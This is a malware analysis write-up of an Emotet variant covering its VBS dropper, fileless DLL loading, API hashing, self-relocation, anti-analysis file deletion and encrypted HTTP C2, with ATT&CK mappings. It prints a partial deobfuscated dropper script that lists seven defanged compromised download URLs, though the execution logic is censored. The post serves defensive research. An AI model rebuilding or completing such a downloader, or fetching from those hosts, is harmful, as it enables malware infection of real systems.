Malware Analysis Series

Deep technical malware analysis reports, reverse engineering tools, unpacked stages, and recreated TTPs with detections for infamous malware families.


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

Emotet Malware Analysis

Emotet malware analysis

Emotet is a sophisticated, modular form of malware that initially emerged as a banking Trojan in 2014 but has evolved over the years to become a highly prevalent and versatile threat. Known for its ability to deliver additional malware payloads and act as a distributor for other cybercriminals, Emotet has established itself as one of the most notorious forms of malware on the internet. Emotet operates primarily through phishing campaigns, often embedding malicious code in Word or Excel documents, or via links that, when clicked, initiate the malware’s download. Its worm-like features also enable it to spread rapidly across networks, making it an effective tool for large-scale cyberattacks.

Emotet is related to the threat actors called Wizard Spider, who are also known to operate other malware campaigns like Trickbot and Ryuk Ransomware. In this post, we will deeply analyze latest Emotet variant emerging after the take down and explain its internal workings and defense evasion tactics.

Key findings

# Finding
1 Two-stage VBS dropper: a heavily obfuscated script writes a second VBS payload as a .txt file into %temp% and executes it, which in turn pulls the Emotet DLL from a rotating list of seven compromised URLs.
2 Fileless core (X.dll): the dropped DLL carries an encrypted 32-bit DLL inside a bitmap resource, decrypted straight into an RWX region at run-time. The real payload never touches disk.
3 Control flow flattening: the main routine is flattened, defeating the public deobfuscators tested here and forcing manual analysis.
4 Dynamic API resolution and API hashing: every API is resolved at run-time by hash comparison, so no meaningful import table exists.
5 Encrypted strings: all strings, including the names of the twelve loaded modules, are decrypted only at run-time.
6 Relocation and re-execution: if not already running from %AppData%, Emotet copies itself there under a random folder and file name (.xnj extension), strips the Zone.Identifier, relaunches via rundll32.exe and deletes the original.
7 Anti-analysis file deletion: it wipes every other file in its home directory, which destroys analyst artefacts such as IDA database files.
8 ECDH + AES C2 encryption: an ECDH key pair is generated and combined with an embedded public key via BCryptSecretAgreement; the AES key is derived from the shared secret.
9 HTTP C2 with data in the Cookie header: encrypted, base64-encoded data is carried in a randomly named cookie over randomly generated URIs; POST is used for larger payloads.
10 Modular follow-on payloads: once registered, the bot can pull additional modules (credential stealers, spam, lateral movement) as separate obfuscated DLLs.

Stage 1: VBS Dropper

The initial dropper comes in either a malicious document including vba macro or a standalone vbs script that is highly obfuscated and downloads additional payloads onto the system including the main emotet dll.

Highly obfuscated Emotet VBS dropper script

To debug the vbscript:

Setup Command Description
Install Visual Studio with .net tools cscript /x target_vbs It will automatically attach VS Debugger to it and add breakpoint to the start

The first script extract another VBS script saved in .txt file in the %temp% directory and execute it as a vbs script:

Setup Command Description
Again debug the second script using Visual Studio cscript //E:vbscript /x extracted_script.txt It will treat the text file as vbs script and execute it regardless of the extension

I attached debugger to the extracted second script in %temp% and started debugging. It is again deobfuscating the script and executing it. The decoded script is as follows:

Emotet second-stage VBS script decoded in the Visual Studio debugger

Deobfuscated VBS

public romidu 
urlcount=1 
set fsobject=createobject("scripting.filesystemobject") 
currentdir=fsobject.getparentfoldername(wscript.scriptfullname) 
set request=createobject("winhttp.winhttprequest.5.1") 
set file=wscript.createobject("shell.application") 
set strout=createobject("adodb.stream") 
useragent="mozilla/5.0 (windows nt 6.1; wow64; rv:58.0) gecko/20100101 firefox/58.0" 
ouch= chr(115-1)+"e"+"gs"&"v"+chr(113+1)+"3"+"2."+chr(101)+"x"+chr(101)+" " + "" 
pat3= currentdir+"\"+fsobject.gettempname+".zip" 
set triplett=createobject("wscript.shell") 
url1 = "hxxp://erkaradyator.com.tr/Areas/1Dg2PeStqNlOjuPP3fu/" 
url2 = "hxxps://sachininternational.com/wp-admin/ILVDnlmIATb8/" 
url3 = "hxxps://esentai-gourmet.kz/404/5oe050kBsHedqng/" 
url4 = "hxxp://ardena.pro/dqvoakrc/Hh9/" 
url5 = "hxxp://panel.chatzy.in/k7daqAXFTBus7mkuwwC/UQ9Y8RRqoOQ9/" 
url6 = "hxxp://toiaagrosciences1.hospedagemdesites.ws/grupotoia/CPKU5ZE/" 
url7 = "hxxps://suppliercity.com.mx/wp-content/x0u6wST03y6X49MOq/" 
do 
dow 
loop  while urlcount<8 
public function dow() 
on error resume next 
select case urlcount 
case 1 
downstr=url1 
case 2 
downstr=url2 
case 3 
downstr=url3 
case 4 
downstr=url4 
case 5 
downstr=url5 
case 6 
downstr=url6 
case 7 
downstr=url7 
end select 
...
...
...
censored !!!

The script is further downloading pyaloads from the provided URLs and executing the next stage malware which is the emotet dll using rundll32.exe. By the time of my analysis the c2 servers were not live so i picked a separate Emotet dll for further analysis.

Stage 2: Emotet DLL

Once the Emotet file is loaded by “rundll32.exe”, its entry point function is called the very first time. It then calls the DllMain() function where it loads and decrypts a 32-bit Dll into its memory from a “Resource” . The decrypted Dll is the core of this Emotet, which will be referred to as “X.dll” in this analysis due to a hardcoded constant string.

Emotet DllMain decrypting the embedded X.dll from a bitmap resource

I use IDA freeware (sometimes pro) for disassembling and debugging most of the malware. I will debug emotet dll using rundll32.exe. The X.dll could be seen in the memory of process using ProcessHacker tool. It could be dumped and unmapped using the pe_unmapper tool by Hasherzade.

X.dll visible in process memory in Process Hacker before dumping

The flow of emotet is like this:

“X.dll” checks if the export function name from the command line parameter is “Control_RunDLL”. If not, it runs the command line again with “Control_RunDLL” instead of some other export, like “C:\Windows\syswow64\rundll32.exe emotet.dll,Control_RunDLL”. It then calls ExitProcess() to exit the first “rundll32.exe”. it uses API CreateProcessW() to run the new command if the initial DLL has not been loaded with ControL_RunDLL.

We can further use the dumped x.dll and rebase the program according to the one which we are debugging currently and map the exports to the functions that are being called as well. Example, call eax jumps to the Export Contro_RunDLL in x.dll which is mapped in the following screenshot:

call eax resolving to the Control_RunDLL export in the rebased X.dll

I have created a function in IDA database and renamed it as Control_RunDLL_xdll for easier understanding.

Control_RunDLL_xdll function renamed in the IDA database

From here onwards, it will execute core malicious functionality of emotet malware.

The main method for performing malicious functionalities is highly obfuscated with Emotet introducing “Control Flow Flatening”. The complexity of control flow logic can be seen by the following control flow graph:

IDA control flow graph showing Emotet control flow flattening

Fileless X.dll

Emotet.dll when started loads x.dll from resources. It is added as a malicious encrypted resource in bitmap format. Once x.dll is decrypted and loaded into the memory as RWX region, it acts as the main malicious code. It has anti-analysis techniques like “code flow flatening”, “dynamic api calls”, “api hashing” and encrypted strings.

I have not been able to find a working script that could unflaten this sample of emotet. I have tried multiple resources like:

# Links
1 HexRaysDeob
2 Sophos control flow de-flatenning
3 MODeflattener

In the end, I decided to go manual. I wrote a script that adds breakpoints on all call instructions in specified function and used it on main flattened function.

import idautils 
import idaapi 
import idc 
 
def add_breakpoints_on_calls(func_name): 
    # Get the function address by name 
    func_ea = idc.get_name_ea_simple(func_name) 
    if func_ea == idc.BADADDR: 
        print(f"Function {func_name} not found!") 
        return 
     
    # Get the function's end address 
    func = idaapi.get_func(func_ea) 
    if not func: 
        print(f"Function {func_name} not found!") 
        return 
     
    # Iterate through the instructions in the function 
    for head in idautils.Heads(func.start_ea, func.end_ea): 
        # Check if it's a call instruction 
        if idc.print_insn_mnem(head) == "call": 
            # Add a breakpoint at the call instruction 
            idc.add_bpt(head) 
            print(f"Breakpoint added at 0x{head:x}") 
     
    print(f"Breakpoints added on all call instructions in function: {func_name}") 
 
# Example: specify the function name where you want to add breakpoints 
add_breakpoints_on_calls("Flatten_func")  #Flatten_func is the "code flow flatenning function that i renamed"

IDAPython script adding breakpoints on every call in the flattened function

I then continue the debugging until something suspicious came my way instead of debugging the code line by line. The call instruction can be used to track the API calls even if the binary is obfuscated or resolves api’s dynamically.

String De-obfuscation

All strings are encrypted in x.dll (emotet in memory), which are decrypted at run-time. It decrypts the name of all additional libraries that are loaded in the malware.

Emotet decrypting library name strings at run-time

The following list of modules are loaded for further activities:

# Modules
1 Advapi32.dll
2 Crypt32.dll
3 Urlmon.dll
4 iertutil.dll
5 srvcli.dll
6 netutils.dll
7 userenv.dll
8 wininet.dll
9 wtsapi32.dll
10 bcrypt.dll
11 propsys.dll
12 WS2_32.dll
- -

Dynamic API Resolution & API Hashing

All apis are loaded dynamically to avoid detection in static analysis. In above example, we saw string for “advapi32.dll” was decrypted. In this function, it will be loaded using the API “LoadLibraryW” and executed. The function “resolve_func” is responsible for resolving api hashes and returning api addresses after comparing hashes.

Its renamed for easier understanding.

resolve_func comparing API hashes to return API addresses

From here onwards all APIs are resolved using API hashing and executed. I will focus on providing the major TTPs and APIs that it uses instead of providing a complete API trace here in this article.

Move to secure location

The first thing it check is the commandline parameter to see if the dll has been executed with parameter of Control_RunDLL and the path from where it is executed. If the malware is not executed from %AppData%, then it moves itself to a secure location in Appdata.

The malware use the following sequence of APIs:

# APIs Description
1 SHGetFolderPathW To get the path of %Appdata%
2 GetCommandLineW To check commandline parameters and path
3 CreateFileW To get its own handle
4 GetFileInformationByHandleEx To get its own information
5 GetTickCount To generate a random name
6 SHFileOperationW To copy file
7 DeleteFileW To delete the zone identifier on copied file

The screenshots for above mentioned task are provided below:

Emotet resolving the %AppData% path with SHGetFolderPathW

Emotet checking its own command line and execution path

Emotet copying itself to %AppData% with SHFileOperationW

Emotet deleting the Zone.Identifier stream from the copied file

After the malware has been shifted to a different location, it executes itself again with rundll32.exe which in turn deletes the original file. The APIs used for executing itself again are as follows:

# APIs Description
1 CreateProcessW The emotet is again executed with newly saved dll present in %appdata% using rundll32
2 ExitProcess Exits the first process

The behavior of emotet is changed depending upon the location from where it is executed. If it is executed from %Appdata%, it proceeds further in its execution but it is executed from any other path then it changes its location and reloads itself again.

Emotet relaunching itself from %AppData% via rundll32.exe

CreateProcessW call re-executing the relocated Emotet DLL

Original Emotet file deleted after relocation

Information Discovery

The last stager copied the emotet.dll in %appdata% local folder with random folder name and file name with added extension of .xnj. In this phase, I will again execute the dll using rundll32 with the parameter Control_RunDLL and debug its behavior further.

It started with the usual PEB walk for kernel32 and ntdll locations and finding address of LoadLibraryW and GetProcAddress. Then it loaded all modules that it needs and first checks the executing file path and module name. If everything is correct, it then gathers system information for crafting the request and register bot to c2 server.

# APIs Description
1 GetComputerNameA To get name of victim system
2 GetWindowsDirectoryW To get the windows directory where system files are installed
3 GetVolumeInformationW To get the volume information

Emotet collecting computer name, Windows directory and volume information

Delete Extra Files in Home Directory

A unique behavior of Emotet was seen when it tries to delete all extra files present in its home directory in %AppData%. It is deleting every other file in its directory other than the main emotet dll. Could be one of the anti-analysis techniques to delete debugger or disassembler database files like in case of IDA (ida creates database in same directory as the file being analyzed).

Emotet deleting extra files, including the IDA database, from its home directory

As shown in the screenshot above, It is trying to delete the ida file named: cdomcinc.xnj.id0. I might have to patch the program to avoid deleting these files, otherwise it would corrupt my IDA database.

I patched the bytes to call DeleteFileW API with Nop instructions and continued. It now skips all my important files and move on.

Establishing Encryption Keys

Emotet uses Eliptic Curve Cryptography ECDH keys for establishing encryption keys. The generated ECDH private key and embedded ECDH public key are used with the BCryptSecretAgreement function to generate a shared secret between the malware and C2. The AES key is derived from the shared secret using the BCryptDeriveKey function.

Emotet generating an ECDH key pair with BCryptGenerateKeyPair

BCryptSecretAgreement deriving the shared secret with the embedded C2 public key

AES key derived from the ECDH shared secret via BCryptDeriveKey

The trace of API calls for establishing these keys is as follows:

# APIs
1 BCryptGenerateKeyPair
2 BCryptFinalizeKeyPair
3 BCryptExportKey
4 BCryptImportKeyPair
5 BCryptSecretAgreement
6 BCryptOpenAlgorithmProvider
7 BCryptDeriveKey
8 BCryptGetProperty
9 BCryptImportKey
10 BCryptCloseAlgorithmProvider
11 BCryptDestroySecret
12 BCryptDestroyKey
13 BCryptDestroyKey
14 BCryptCloseAlgorithmProvider

Crafting 1st Request Packet

Emotet crafts 1st request for registering the bot to c2 server by combining the host data that it discovered and encoding/encrypting the data with derived encryption keys and sending over http.

Appends all these together while sepearting the string with ” ; “ after each element. The string is then encoded and encrypted as follows:

# APIs
1 BCryptOpenAlgorithmProvider
2 BCryptGetProperty
3 BCryptCreateHash
4 BCryptHashData
5 BCryptFinishHash
6 BCryptDestroyHash
7 BCryptCloseAlgorithmProvider
8 BCryptEncrypt
9 BCryptEncrypt
10 CryptBinaryToStringW
11 CryptBinaryToStringW

Emotet assembling host fingerprint data for the first C2 request

Bot registration data encrypted and base64 encoded before transmission

C2 Communication Over http

This sample of emotet uses wininet APIs for sending malicious requests and getting response. It uses GET and POST requests with data being sent in a cookie header. For larger data it uses POST requests otherwise it mainly uses GET requests. I have setup a netcat listener on my Remnux box to receive the request even though it can’t decrypt and display the data.

The URI is randomly generated and data is encrypted in the Cookie header (a POST request is used for larger amounts of data). The Cookie header contains a randomly generated key name and base64 encoded key value. Once decoded, the key value contains:

The AES key used to encrypt request data is generated via the following method:

From https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis

# APIs
1 InternetOpenW
2 InternetConnectW
3 HttpOpenRequestW
4 InternetSetOptionW
5 InternetQueryOptionW
6 InternetSetOptionW
7 HttpSendRequestW

Emotet building the HTTP request with wininet APIs

Randomly generated URI used for C2 communication

Encrypted payload carried in the HTTP Cookie header

Emotet request captured on a netcat listener in REMnux

The malware will be stuck in the loop here until a reponse is received from c2 server. After getting the response, it can further download additional malware or modules into itslef like outlook credential stealer module, spam module, browser stealer module or lateral movement. Each module is a separate obfuscated dll that is downloaded into the home directory and perform additional malicious tasks.

MITRE ATT&CK mapping

Techniques observed during this analysis:

Tactic Technique ID
Initial Access Phishing: Spearphishing Attachment T1566.001
Execution Command and Scripting Interpreter: Visual Basic T1059.005
Defense Evasion System Binary Proxy Execution: Rundll32 T1218.011
Defense Evasion System Binary Proxy Execution: Regsvr32 T1218.010
Defense Evasion Obfuscated Files or Information T1027
Defense Evasion Obfuscated Files or Information: Dynamic API Resolution T1027.007
Defense Evasion Deobfuscate/Decode Files or Information T1140
Defense Evasion Reflective Code Loading T1620
Defense Evasion Indicator Removal: File Deletion T1070.004
Defense Evasion Subvert Trust Controls: Mark-of-the-Web Bypass T1553.005
Defense Evasion Masquerading: Match Legitimate Name or Location T1036.005
Discovery System Information Discovery T1082
Command & Control Ingress Tool Transfer T1105
Command & Control Application Layer Protocol: Web Protocols T1071.001
Command & Control Encrypted Channel: Asymmetric Cryptography T1573.002
Command & Control Data Encoding: Standard Encoding T1132.001

See the full project matrix on the ATT&CK coverage page.

Detection opportunities

Because the core payload is fileless and every API is resolved by hash, detection is best anchored on behaviour rather than static signatures:

IoCs

Urls

IPs

Hashes

NOTE: All samples, scripts and tools are available in my Github Repository.